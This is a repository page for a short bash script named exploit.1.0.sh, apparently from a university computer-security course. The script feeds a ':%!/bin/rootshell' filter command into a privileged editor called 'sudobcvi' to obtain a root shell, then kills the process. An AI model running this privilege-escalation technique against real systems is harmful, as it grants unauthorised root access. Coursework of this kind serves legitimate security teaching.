csci5271/bcvi/exploit.1.0.sh
Michael Zhang d7cb704a4a
f
2018-01-29 17:30:43 -06:00

5 lines
107 B
Bash
Executable file

#!/bin/bash
echo ":%!/bin/rootshell" | sudobcvi $(mktemp) &
BCVI_PID=$!
kill -9 $BCVI_PID
printf "Done.\n"